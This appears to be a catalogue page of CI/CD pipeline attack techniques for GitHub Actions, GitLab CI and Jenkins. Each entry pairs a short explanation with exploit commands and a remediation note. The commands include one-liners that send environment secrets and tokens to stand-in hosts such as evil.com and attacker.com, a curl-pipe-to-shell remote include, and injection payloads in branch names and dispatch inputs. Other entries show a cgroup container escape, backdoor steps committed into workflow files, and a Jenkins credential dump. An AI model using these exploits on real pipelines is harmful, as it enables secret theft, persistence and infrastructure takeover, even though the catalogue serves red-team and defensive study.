GitHub Actions - **Categories**: Secrets, Exfiltration, Privilege Escalation, Self-Hosted - **Requires**: Runner Shell (RCE) Cloud providers expose an instance metadata service (IMDS) at a well-known link-local address (`169.254.169.254` for AWS and Azure, `metadata.google.internal` for GCP). Self-hosted GitHub Actions runners that run on cloud VMs (EC2, GCE, Azure VMs) can query this endpoint to obtain the cloud identity and temporary IAM credentials attached to the VM instance. An attacker with code execution in a workflow step can query the IMDS without any authentication (AWS IMDSv1) or with a simple pre-auth token exchange (IMDSv2), then use the returned credentials to access cloud resources. #### GitHub Actions — Exploit: Query instance metadata from the runner **AWS IMDSv1 (no auth required)** **AWS IMDSv2 (requires token)** **GCP metadata server** **Azure IMDS** ```bash curl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" ``` > Note: GitHub-hosted runners run on Azure VMs but the IMDS is not reachable from the runner sandbox. Self-hosted runners on cloud VMs are fully exposed. --- ## Dependency Confusion Attack - **ID**: `dependency-confusion` - **URL**: https://cicd-bins.harekrishnarai.me/#dependency-confusion - **Platforms**: GitHub Actions - **Categories**: Supply Chain, RCE - **Requires**: Open Pull Request Dependency confusion exploits the precedence logic of package managers (npm, pip, RubyGems, Maven, etc.) when both a private internal registry and the public registry are configured. An attacker identifies an internal package name (from a leaked `package.json`, `requirements.txt`, `go.mod`, or error message), then publishes a package with the **same name** but a **higher version number** to the public registry. Package managers that check public registries first — or that auto-upgrade to the latest version — will install the attacker's package instead of the internal one, executing its lifecycle scripts during `npm install` / `pip install` inside the CI runner. #### GitHub Actions — Exploit: Publish a higher-versioned package to the public registry **Identify internal package names** **npm dependency confusion PoC package.json** **Publish to public npm** ```bash npm publish --access public ``` > Note: Works when the build pipeline resolves public registries before or instead of private ones. Remediate with scoped packages (@corp/pkg) and registry pinning. --- ## Docker Socket Abuse - **ID**: `docker-socket-abuse` - **URL**: https://cicd-bins.harekrishnarai.me/#docker-socket-abuse - **Platforms**: GitHub Actions - **Categories**: RCE, Privilege Escalation, Self-Hosted - **Requires**: Runner Shell (RCE) On self-hosted runners configured with Docker-in-Docker (DinD) or with the host Docker socket bind-mounted (`-v /var/run/docker.sock:/var/run/docker.sock`), a workflow step that can run Docker commands can escape the container boundary. By spawning a new container with the host filesystem mounted, the attacker gains root-equivalent access to the host machine. From the host, they can read all other containers' secrets, access internal network services, and persist across runner reboots. Privileged containers (`--privileged`) enable additional escape techniques via kernel namespaces. #### GitHub Actions — Exploit: Escape container via mounted Docker socket **Check for Docker socket access** **Container escape via socket** **Privileged container breakout** ```bash # If running in a privileged container mount | grep docker # Mount host root via cgroup release_agent trick mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /proc/mounts)/cmd" \ > /tmp/cgrp/release_agent echo "#!/bin/sh" > /cmd echo "id > /output" >> /cmd chmod +x /cmd sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output ``` > Note: Workflows that use DinD (Docker-in-Docker) or bind-mount /var/run/docker.sock are at risk on self-hosted runners. GitHub-hosted runners do not expose the host socket. --- ## Environment Gate Bypass - **ID**: `environment-gate-bypass` - **URL**: https://cicd-bins.harekrishnarai.me/#environment-gate-bypass - **Platforms**: GitHub Actions - **Categories**: Privilege Escalation, Secrets - **Requires**: Repository Admin GitHub Environments allow teams to gate deployments behind required reviewer approvals, protecting high-privilege secrets (production credentials, signing keys) from being accessed by unreviewed workflows. However, several bypass paths exist: (1) if an attacker becomes a configured reviewer, they can approve their own deployment via the API; (2) environments without branch filters can be triggered from any branch including attacker-controlled ones; (3) if `GITHUB_TOKEN` has environment admin permissions, protection rules can be modified via the Environments API. The gates are only as strong as the reviewer list and branch filter configuration. #### GitHub Actions — Exploit: Access environment-scoped secrets by bypassing approval gates **Check environment configuration** **Self-approve via GitHub API (if reviewer)** **Bypass via branch ref that matches environment filter** ```bash # If environment only requires protection on 'main', use a matching ref git push origin HEAD:refs/heads/main-deploy # Or check if environment branch filter can be satisfied ``` > Note: Environment protection rules (required reviewers, wait timers) are enforced server-side but depend on correct branch filter configuration. --- ## GITHUB_TOKEN Abuse - **ID**: `github-token-abuse` - **URL**: https://cicd-bins.harekrishnarai.me/#github-token-abuse - **Platforms**: GitHub Actions - **Categories**: Secrets, Privilege Escalation - **Requires**: Code Write Access `GITHUB_TOKEN` is an automatically-provisioned short-lived credential injected into every workflow run. Its scope covers the current repository and, depending on org settings and explicit `permissions:` blocks, may allow read/write access to code, issues, pull requests, packages, and more. An attacker who achieves code execution in a runner step can read `$GITHUB_TOKEN` from the environment and use it to push commits, create/delete branches, trigger other workflows, modify releases, or call any GitHub API endpoint within the token's scope. #### GitHub Actions — Exploit: Use GITHUB_TOKEN for lateral movement **Exfiltrate token value** **Push malicious code with token** **Create releases / modify workflows via API** ```bash curl -s -X PUT \ -H "Authorization: token $GITHUB_TOKEN" \ -H "Accept: application/vnd.github.v3+json" \ https://api.github.com/repos/${GITHUB_REPOSITORY}/contents/.github/workflows/evil.yml \ -d '{"message":"add","content":"","branch":"main"}' ``` > Note: Default token permissions vary by org policy. Check permissions.contents and permissions.workflows in the workflow file. --- ## Log Masking Bypass - **ID**: `log-masking-bypass` - **URL**: https://cicd-bins.harekrishnarai.me/#log-masking-bypass - **Platforms**: GitHub Actions - **Categories**: Secrets, Exfiltration - **Requires**: Runner Shell (RCE) GitHub Actions log masking replaces the exact byte sequence of a known secret with `***` when it appears in step output. This masking is purely cosmetic in the log viewer — the secret is still present in the process environment and accessible to any code running in the step. Furthermore, masking is trivially bypassed by transforming the value before printing: base64-encoding, hex-encoding, or splitting the secret across multiple print statements all produce output that is logged without redaction. Out-of-band exfiltration (DNS, HTTP to an attacker-controlled server) is completely unaffected by log masking. #### GitHub Actions — Exploit: Exfiltrate masked secrets without triggering log redaction **Base64-encode to evade masking** **Exfiltrate via DNS (no HTTP logs)** **Exfiltrate via environment file write** ```bash # Secrets written to GITHUB_ENV persist to next step but aren't masked echo "LEAKED=$MY_SECRET" >> $GITHUB_ENV # Then in the next step, read $LEAKED freely ``` > Note: GitHub only masks secrets that appear verbatim in log output. Any transformation (base64, hex, split) bypasses masking. --- ## Network Egress Abuse - **ID**: `network-egress-abuse` - **URL**: https://cicd-bins.harekrishnarai.me/#network-egress-abuse - **Platforms**: GitHub Actions - **Categories**: Exfiltration, Reconnaissance, Self-Hosted - **Requires**: Runner Shell (RCE) GitHub-hosted runners have unrestricted outbound internet access — there is no built-in firewall or egress filtering. An attacker who achieves code execution can exfiltrate data via HTTP(S), DNS, ICMP, or any other protocol. DNS exfiltration is particularly effective because it works even in environments with strict HTTP egress controls, firewalls typically allow port 53 outbound, and DNS traffic blends with normal resolver activity. Data can also be covertly exfiltrated via GitHub's own APIs (posting to issues, creating gists, making commits to other repos) using the `GITHUB_TOKEN`, making the traffic appear to originate from GitHub itself. #### GitHub Actions — Exploit: Exfiltrate data via allowed outbound channels **HTTP/S exfil** **DNS exfil (bypasses HTTP egress controls)** **ICMP / ping exfil** **Exfil via GitHub itself (Issues / Gist)** ```bash # Use GITHUB_TOKEN to post data as an issue comment curl -s -X POST \ -H "Authorization: token $GITHUB_TOKEN" \ "https://api.github.com/repos/attacker/exfil-repo/issues/1/comments" \ -d "{\"body\":\"$(env | base64 -w0)\"}" ``` > Note: GitHub-hosted runners have unrestricted outbound internet access on all ports. Self-hosted runners may have egress controls but DNS is often allowed. --- ## OIDC Token Theft for Cloud Access - **ID**: `oidc-token-theft` - **URL**: https://cicd-bins.harekrishnarai.me/#oidc-token-theft - **Platforms**: GitHub Actions - **Categories**: Secrets, Exfiltration, Privilege Escalation - **Requires**: Code Write Access GitHub Actions supports OIDC (OpenID Connect) federation, allowing workflows to obtain short-lived cloud credentials without storing long-lived secrets. The runner can request a signed JWT from GitHub's OIDC provider (`ACTIONS_ID_TOKEN_REQUEST_URL`) and exchange it with AWS, GCP, or Azure for cloud API credentials. An attacker who achieves code execution in a workflow step can request this JWT directly, exfiltrate it, and exchange it for cloud credentials outside the runner — gaining access to cloud resources scoped to whatever IAM role the repo is configured to assume. #### GitHub Actions — Exploit: Steal the OIDC JWT and assume a cloud role **Request and exfiltrate the OIDC token** **Use stolen JWT to assume AWS role** **GCP equivalent** ```bash curl -X POST https://sts.googleapis.com/v1/token \ -H "Content-Type: application/json" \ -d "{\"audience\":\"//iam.googleapis.com/projects/PROJECT/locations/global/workloadIdentityPools/POOL/providers/PROVIDER\",\"grantType\":\"urn:ietf:params:oauth:grant-type:token-exchange\",\"requestedTokenType\":\"urn:ietf:params:oauth:token-type:access_token\",\"subjectToken\":\"$TOKEN\",\"subjectTokenType\":\"urn:ietf:params:oauth:token-type:jwt\"}" ``` > Note: OIDC tokens are short-lived (5 min default) but can be used immediately. Restrict the cloud IAM role's trust policy to specific repos and branch refs. --- ## Pipeline Parameter Injection - **ID**: `pipeline-param-injection` - **URL**: https://cicd-bins.harekrishnarai.me/#pipeline-param-injection - **Platforms**: GitHub Actions - **Categories**: Injection, RCE - **Requires**: Open Pull Request GitHub Actions `workflow_dispatch` events allow users (and API callers) to supply arbitrary string inputs that can be referenced via `${{ inputs.* }}`. When these inputs are interpolated directly into `run:` shell commands, they constitute a server-side injection vulnerability. Any user with permission to trigger the workflow (typically anyone with write access, or read access on public repos via the API) can supply a malicious input containing shell metacharacters to achieve arbitrary code execution. The same pattern applies to `repository_dispatch` event payloads and `schedule`-triggered workflows that read external data. #### GitHub Actions — Exploit: Inject via workflow_dispatch inputs **Vulnerable workflow with unsanitised input** **Attacker-supplied input payload** **API-triggered injection** ```bash curl -s -X POST \ -H "Authorization: token $PAT" \ "https://api.github.com/repos/OWNER/REPO/actions/workflows/deploy.yml/dispatches" \ -d '{"ref":"main","inputs":{"environment":"prod; env | base64 | curl -X POST https://evil.com -d @-"}}' ``` > Note: All user-supplied inputs must be assigned to env vars and referenced via the env var — never interpolated directly into run: scripts. --- ## pull_request_target Privilege Abuse - **ID**: `pull-request-target-abuse` - **URL**: https://cicd-bins.harekrishnarai.me/#pull-request-target-abuse - **Platforms**: GitHub Actions - **Categories**: Injection, Secrets, RCE - **Requires**: Open Pull Request `pull_request_target` triggers on PRs from forks but runs with the **base** repository's elevated token and secrets — unlike the standard `pull_request` event. If the workflow checks out the contributor's head ref (e.g. `ref: ${{ github.event.pull_request.head.sha }}`), then builds or tests that code, an attacker can include malicious scripts that exfiltrate `GITHUB_TOKEN` or stored secrets. This is one of the most reliably exploitable GitHub Actions misconfigurations. #### GitHub Actions — Exploit: Checkout attacker code under elevated token **Vulnerable workflow** **Exploit: malicious package.json postinstall** ```bash # In the forked repo's package.json: # "scripts": { "postinstall": "curl https://evil.com/?t=$GITHUB_TOKEN" } ``` > Note: pull_request_target runs with the BASE repo's secrets. Never check out the HEAD ref unconditionally. --- ## GitHub Actions Quick Wins Checklist - **ID**: `quick-wins` - **URL**: https://cicd-bins.harekrishnarai.me/#quick-wins - **Platforms**: GitHub Actions - **Categories**: Reconnaissance, Secrets, Injection - **Requires**: Open Pull Request A quick survey of `.github/workflows/*.yml` files often reveals multiple exploitable misconfigurations within minutes. The most common findings are: (1) `pull_request_target` workflows that check out the PR head; (2) `${{ github.event.* }}` expressions interpolated directly into `run:` blocks; (3) third-party actions pinned to mutable tags rather than commit SHAs; (4) secrets referenced directly in `run:` steps rather than via `env:` variables; and (5) `workflow_dispatch` inputs used without sanitisation. These grep-based checks require only read access to the repository and can be automated as a first-pass before deeper investigation. #### GitHub Actions — Automated checks: Find low-hanging fruit fast **Scan all workflow files for expression injections** **Find workflows using pull_request_target** **Find workflows that checkout PR head ref** **Find unpinned third-party actions** **Find secrets passed to run steps directly** **Enumerate all secrets referenced in workflows** ```bash grep -roh '\${{ secrets\.[^}]* }}' .github/workflows/ | sort -u ``` > Note: These checks can be run from within a workflow that has checked out the repository, or locally against a cloned repo. --- ## Repository Secret Mining - **ID**: `repo-mining` - **URL**: https://cicd-bins.harekrishnarai.me/#repo-mining - **Platforms**: GitHub Actions - **Categories**: Reconnaissance, Secrets - **Requires**: Open Pull Request A CI runner checking out the repository has full access to the entire git history, not just the HEAD commit. Developers frequently accidentally commit API keys, passwords, or private keys and then "remove" them in a follow-up commit — but the credential remains accessible in git history. An attacker executing code in the runner can clone or fetch the complete history and use secret-scanning tools (truffleHog, gitleaks, git-secrets) to find these historical credentials alongside any hardcoded secrets in the current working tree. #### GitHub Actions — Exploit: Mine history and filesystem for hardcoded secrets **Scan git history for secrets** **Scan working tree with truffleHog / gitleaks** **Scan environment and config files** ```bash find "$GITHUB_WORKSPACE" -name "*.env" -o -name ".env*" \ -o -name "config.yml" -o -name "settings.py" 2>/dev/null \ | xargs grep -liE '(secret|token|password|key)' 2>/dev/null ``` > Note: GITHUB_TOKEN grants read access to the repository contents including full git history. Secrets committed and later removed are still in history. --- ## Script Injection via PR Title - **ID**: `script-injection-pr-title` - **URL**: https://cicd-bins.harekrishnarai.me/#script-injection-pr-title - **Platforms**: GitHub Actions - **Categories**: Injection, RCE - **Requires**: Open Pull Request When a workflow references `${{ github.event.pull_request.title }}` (or body, branch name, commit message) directly inside a `run:` step, the value is string-interpolated before the shell sees it. An attacker opens a pull request whose title contains shell metacharacters — e.g. `"; curl https://evil.com/$(id|base64) #` — and the runner executes the injected command in the context of the workflow's permissions, which for `pull_request_target` can include write access to the repository and a valid `GITHUB_TOKEN`. #### GitHub Actions — Exploit: Inject via pull_request_target title **Malicious PR title payload** **Vulnerable workflow snippet** ```yaml on: pull_request_target jobs: triage: runs-on: ubuntu-latest steps: - name: Label PR run: | echo "PR title: ${{ github.event.pull_request.title }}" ``` > Note: The github.event context is interpolated directly into the shell command. Use toJSON() or an env var to neutralise. --- ## Secrets Exfiltration via Environment Dump - **ID**: `secrets-exfil-env-dump` - **URL**: https://cicd-bins.harekrishnarai.me/#secrets-exfil-env-dump - **Platforms**: GitHub Actions - **Categories**: Secrets, Exfiltration - **Requires**: Runner Shell (RCE) GitHub Actions injects repository secrets into the process environment when referenced in `env:` blocks or passed to steps. Any code executing in the runner can read all environment variables. If an attacker gains code execution — via a supply-chain compromise, a malicious action, or a script-injection — dumping the process environment and exfiltrating it out-of-band (HTTP POST, DNS lookup, etc.) captures all injected secrets. Log masking only redacts known secret values from the Actions log UI; it does not prevent in-process `env` reads. #### GitHub Actions — Exploit: Dump and exfiltrate all env vars **One-liner exfil** **Via GitHub Actions step** **Extract specific secret patterns** ```bash env | grep -iE '(token|secret|key|pass|aws|azure|gcp)' \ | base64 | curl -s -X POST https://evil.com/leak -d @- ``` > Note: GitHub Actions masks known secret values in logs, but env dumps sent out-of-band bypass log masking. --- ## Self-Hosted Runner RCE - **ID**: `self-hosted-runner-rce` - **URL**: https://cicd-bins.harekrishnarai.me/#self-hosted-runner-rce - **Platforms**: GitHub Actions - **Categories**: RCE, Persistence, Self-Hosted - **Requires**: Open Pull Request Self-hosted runners execute workflow steps directly on organisation-managed infrastructure. Unlike GitHub-hosted runners (ephemeral VMs wiped after each job), self-hosted runners are persistent machines that may share disk state across runs, have access to internal networks, cloud credentials, Docker sockets, or Kubernetes API servers. Any attacker who can trigger a workflow — including via a pull request to a public repo — gains shell access to the runner host. From there they can pivot to internal services, steal cloud credentials from the instance metadata service, or persist by modifying runner hooks. #### GitHub Actions — Exploit: Pivot from runner to internal network **Fingerprint the runner environment** **Access host Docker socket if mounted** **Persist via runner hook directory** ```bash mkdir -p /opt/runner/_diag echo '#!/bin/sh' > /opt/runner/externals/evil.sh echo 'curl https://c2.evil.com/$(hostname|base64)' >> /opt/runner/externals/evil.sh chmod +x /opt/runner/externals/evil.sh ``` > Note: Self-hosted runners for public repos must be treated as untrusted compute — any GitHub user who can open a PR may trigger a workflow run. --- ## Webhook Trigger Abuse - **ID**: `webhook-trigger-abuse` - **URL**: https://cicd-bins.harekrishnarai.me/#webhook-trigger-abuse - **Platforms**: GitHub Actions - **Categories**: Injection, RCE - **Requires**: Repository Admin GitHub repositories can be configured to receive webhook events from external services, and `repository_dispatch` events allow any caller with a valid token to trigger workflows with arbitrary payloads. If workflows consume `github.event.client_payload.*` fields and interpolate them into shell commands without sanitisation, an attacker who can send a `repository_dispatch` (any user with `repo` scope on the token for public repos, or `write` access) can inject commands. Additionally, self-hosted webhook receivers with weak or absent HMAC secret verification can be fed forged payloads. #### GitHub Actions — Exploit: Craft a malicious webhook payload to trigger privileged workflows **Trigger repository_dispatch event** **Vulnerable workflow consuming payload** **Forge webhook with known secret (HMAC bypass)** ```python import hmac, hashlib, requests secret = b"weak-webhook-secret" payload = b'{"ref":"refs/heads/main","repository":{"full_name":"org/repo"}}' sig = "sha256=" + hmac.new(secret, payload, hashlib.sha256).hexdigest() requests.post("https://target/webhook", data=payload, headers={"X-Hub-Signature-256": sig, "Content-Type": "application/json"}) ``` > Note: Webhook secrets must be long and random. All repository_dispatch client_payload fields must be treated as untrusted input. --- ## Workflow Backdoor via GITHUB_TOKEN - **ID**: `workflow-backdoor` - **URL**: https://cicd-bins.harekrishnarai.me/#workflow-backdoor - **Platforms**: GitHub Actions - **Categories**: Persistence, RCE - **Requires**: Code Write Access If a workflow's `GITHUB_TOKEN` has write access to repository contents, an attacker who achieves code execution can use it to commit a new (or modified) workflow YAML file to `.github/workflows/`. Because the new workflow is committed to the default branch, it will run on subsequent triggers — effectively establishing persistent code execution on every future CI run. The commit appears in the repository history but may be overlooked in high-velocity repos. #### GitHub Actions — Exploit: Inject a new workflow via API **Create a persistent backdoor workflow** **Add a step to an existing workflow via commit** ```bash git clone https://x-access-token:${GITHUB_TOKEN}@github.com/${GITHUB_REPOSITORY} cd $(basename $GITHUB_REPOSITORY) # Append malicious step to existing workflow echo " - run: curl https://c2.evil.com/\$(id|base64)" \ >> .github/workflows/ci.yml git commit -am "fix: update ci config" git push ``` > Note: Requires permissions.contents: write on the token. Many workflows grant this by default. --- ## CI Variable and Job Token Exfiltration - **ID**: `gitlab-ci-variable-exfiltration` - **URL**: https://cicd-bins.harekrishnarai.me/#gitlab-ci-variable-exfiltration - **Platforms**: GitLab CI - **Categories**: Secrets, Exfiltration - **Requires**: Code Write Access GitLab injects `CI_JOB_TOKEN` into every pipeline job. This short-lived token authenticates to the GitLab API and can clone any project the pipeline's project has access to. If a job achieves code execution, all CI/CD variables (including masked ones) are accessible from the process environment. #### GitLab CI — GitLab — Dump CI Variables and Job Token **Exfiltrate all CI variables** **Abuse CI_JOB_TOKEN to clone private repos** **Use job token to call GitLab API** ```bash curl -H "JOB-TOKEN: $CI_JOB_TOKEN" \ "https://gitlab.com/api/v4/projects?membership=true" ``` > Note: CI_JOB_TOKEN scope can be restricted under Settings > CI/CD > Token Access. Masked variables are visible in memory — use protected variables where possible. --- ## .gitlab-ci.yml Backdoor via Maintainer Access - **ID**: `gitlab-ci-yml-backdoor` - **URL**: https://cicd-bins.harekrishnarai.me/#gitlab-ci-yml-backdoor - **Platforms**: GitLab CI - **Categories**: Persistence, Supply Chain, Secrets - **Requires**: Code Write Access A GitLab Maintainer can directly push changes to `.gitlab-ci.yml` on protected branches in some configurations. By injecting `after_script` hooks or YAML anchors into legitimate job definitions, an attacker establishes persistent credential exfiltration that runs on every future pipeline without obvious visibility in the job output. #### GitLab CI — GitLab — Inject Persistent Exfil Stage into CI Config **Add a silent exfiltration stage to .gitlab-ci.yml** **Use CI_JOB_TOKEN to register a persistent webhook** ```bash curl -X POST -H "PRIVATE-TOKEN: $CI_JOB_TOKEN" \ "https://gitlab.com/api/v4/projects/$CI_PROJECT_ID/hooks" \ --data "url=https://attacker.com/webhook&pipeline_events=true&token=secret" ``` > Note: Require MR approval for changes to .gitlab-ci.yml from maintainers. Use CODEOWNERS to protect the CI config file. --- ## Dependency Proxy Cache Poisoning - **ID**: `gitlab-dependency-proxy-poisoning` - **URL**: https://cicd-bins.harekrishnarai.me/#gitlab-dependency-proxy-poisoning - **Platforms**: GitLab CI - **Categories**: Supply Chain, RCE - **Requires**: Code Write Access GitLab's Dependency Proxy caches Docker Hub images on behalf of the group. If an attacker gains group-owner access, they can manipulate the proxy to serve malicious image layers. Pipelines pulling via the proxy will silently execute attacker-controlled container images. #### GitLab CI — GitLab — Abuse Dependency Proxy to Serve Malicious Images **Pipeline pulling image via dependency proxy** **If attacker controls group-level proxy settings — redirect to malicious registry** **Check what images are cached in the proxy** ```bash curl -H "PRIVATE-TOKEN: $TOKEN" \ "https://gitlab.com/api/v4/groups/$GROUP_ID/dependency_proxy/blobs" ``` > Note: Pin image digests instead of mutable tags: `image: node@sha256:...` --- ## Pipeline Trigger Token Abuse - **ID**: `gitlab-pipeline-trigger-token-abuse` - **URL**: https://cicd-bins.harekrishnarai.me/#gitlab-pipeline-trigger-token-abuse - **Platforms**: GitLab CI - **Categories**: Secrets, Injection, Persistence - **Requires**: Trigger Pipeline GitLab pipeline trigger tokens allow external systems to trigger pipelines with custom variables. If a trigger token is exposed in a job log or leaked CI variable, an attacker can launch arbitrary pipelines with attacker-controlled variable values, potentially achieving code injection or privilege escalation to production environments. #### GitLab CI — GitLab — Steal and Abuse Pipeline Trigger Tokens **Trigger token exposed in CI variable — extract it** **Use stolen trigger token to launch pipelines with custom variables** **List existing trigger tokens via API** ```bash curl -H "PRIVATE-TOKEN: $MAINTAINER_TOKEN" \ "https://gitlab.com/api/v4/projects/$PROJECT_ID/triggers" ``` > Note: Rotate trigger tokens regularly. Never store them in CI variables that are printed to job logs. --- ## Protected Branch and Environment Bypass - **ID**: `gitlab-protected-branch-bypass` - **URL**: https://cicd-bins.harekrishnarai.me/#gitlab-protected-branch-bypass - **Platforms**: GitLab CI - **Categories**: Privilege Escalation, Persistence - **Requires**: Repository Admin GitLab environments can have protection rules limiting which branches can deploy to them. If an environment is unprotected, any pipeline branch can access its variables and deploy credentials. Maintainer-level users can also modify `.gitlab-ci.yml` directly to inject stages that access protected environments. #### GitLab CI — GitLab — Escalate via Unprotected Deployment Branch **Find branches not covered by protection rules** **Push directly to bypass review gates** **Abuse unprotected environment to steal deploy credentials** ```bash # Target environment with no protection rules # Add a job that runs on that environment and dumps secrets environment: name: staging action: start ``` > Note: Apply protection rules to ALL deployment environments, not just production. Use approval gates for sensitive environments. --- ## Remote Include Injection - **ID**: `gitlab-remote-include-injection` - **URL**: https://cicd-bins.harekrishnarai.me/#gitlab-remote-include-injection - **Platforms**: GitLab CI - **Categories**: Injection, Supply Chain, RCE - **Requires**: Code Write Access GitLab CI supports including remote YAML templates via `include: remote:`. If the remote URL is attacker-controlled or compromised, arbitrary pipeline stages are injected into the build. This is especially dangerous when the pipeline has access to protected variables or deployment credentials. #### GitLab CI — GitLab — Malicious Remote Template via include: **Vulnerable .gitlab-ci.yml using remote include** **Attacker-controlled malicious.yml** ```yaml build: stage: build script: - curl https://attacker.com/shell.sh | sh - env | base64 -w0 | curl -d @- https://attacker.com/vars ``` > Note: Use project-level includes or pin remote includes to a specific SHA. Prefer local template files over remote URLs. --- ## Script Injection via Branch / Tag Name - **ID**: `gitlab-script-injection-branch-name` - **URL**: https://cicd-bins.harekrishnarai.me/#gitlab-script-injection-branch-name - **Platforms**: GitLab CI - **Categories**: Injection, RCE - **Requires**: Code Write Access GitLab CI variables like `$CI_COMMIT_REF_NAME`, `$CI_COMMIT_MESSAGE`, and `$CI_MERGE_REQUEST_TITLE` are attacker-controlled when sourced from user-submitted branches or merge requests. Using them unquoted in `script:` steps allows shell injection with the runner's permissions. #### GitLab CI — GitLab — Branch Name Injection in pipeline script **Vulnerable .gitlab-ci.yml** **Malicious branch name payload** ```bash # Create branch with injected name git checkout -b 'main; curl https://attacker.com/$(cat /etc/passwd|base64) #' git push origin HEAD ``` > Note: Always quote CI variable expansions in double quotes or use env vars via export to prevent word splitting and injection. --- ## Shared Runner Abuse and Fingerprinting - **ID**: `gitlab-shared-runner-abuse` - **URL**: https://cicd-bins.harekrishnarai.me/#gitlab-shared-runner-abuse - **Platforms**: GitLab CI - **Categories**: Reconnaissance, Secrets, Self-Hosted - **Requires**: Open Pull Request GitLab shared runners execute jobs from multiple projects on the same host. Between jobs, temporary files, env vars from previous jobs, or cloud metadata credentials may persist. Attackers with pipeline access can probe the runner environment to harvest credentials, map the internal network, or steal the runner registration token to register a rogue runner. #### GitLab CI — GitLab — Fingerprint Shared Runner Environment **Identify runner metadata and adjacent jobs** **Check for cached credentials left by prior jobs** **Exfiltrate runner registration token from config** ```bash cat /etc/gitlab-runner/config.toml 2>/dev/null ``` > Note: Use ephemeral runners (autoscale with clean VMs per job). Never share runners across trust boundaries. --- ## Jenkins Agent Node Privilege Escalation - **ID**: `jenkins-agent-privesc` - **URL**: https://cicd-bins.harekrishnarai.me/#jenkins-agent-privesc - **Platforms**: Jenkins - **Categories**: RCE, Privilege Escalation, Persistence, Self-Hosted - **Requires**: Runner Shell (RCE) Jenkins agents run pipeline jobs and communicate back to the controller via the Remoting channel. If Agent → Controller access control is disabled (common in older installations), a compromised agent can execute arbitrary code on the controller, read controller secrets, and pivot to all other nodes in the cluster. #### Jenkins — Jenkins — Agent-to-Controller Escape **Execute command on controller from agent** **Read controller-side files from agent** **Abuse JNLP agent secret for lateral movement** ```bash # Agent secret is stored in agent.jar launch command java -jar agent.jar -jnlpUrl http://jenkins/computer/agent/slave-agent.jnlp \ -secret -workDir /tmp ``` > Note: Disable Agent → Controller security only if all agents are fully trusted. Enable 'Agents can only access certain Jenkins features' in global security. --- ## Jenkins Script Console RCE - **ID**: `jenkins-script-console` - **URL**: https://cicd-bins.harekrishnarai.me/#jenkins-script-console - **Platforms**: Jenkins - **Categories**: RCE, Privilege Escalation, Self-Hosted - **Requires**: Org/Cluster Admin The Jenkins Script Console at `/script` executes arbitrary Groovy code in the JVM context with the permissions of the Jenkins process user. On misconfigured instances, anonymous or low-privilege users can access it. Attackers use it for command execution, credential harvesting, and lateral movement to all connected agent nodes. #### Jenkins — Jenkins — Groovy Script Console Execution **Access script console** **Groovy payload — reverse shell** **Dump all credentials** ```bash import com.cloudbees.plugins.credentials.* import com.cloudbees.plugins.credentials.impl.* CredentialsProvider.lookupCredentials( StandardUsernamePasswordCredentials.class, Jenkins.instance, null, null ).each { c -> println "${c.id}: ${c.username}/${c.password}" } ``` > Note: Accessible at /script without auth on misconfigured instances. Groovy runs as the Jenkins OS user. ---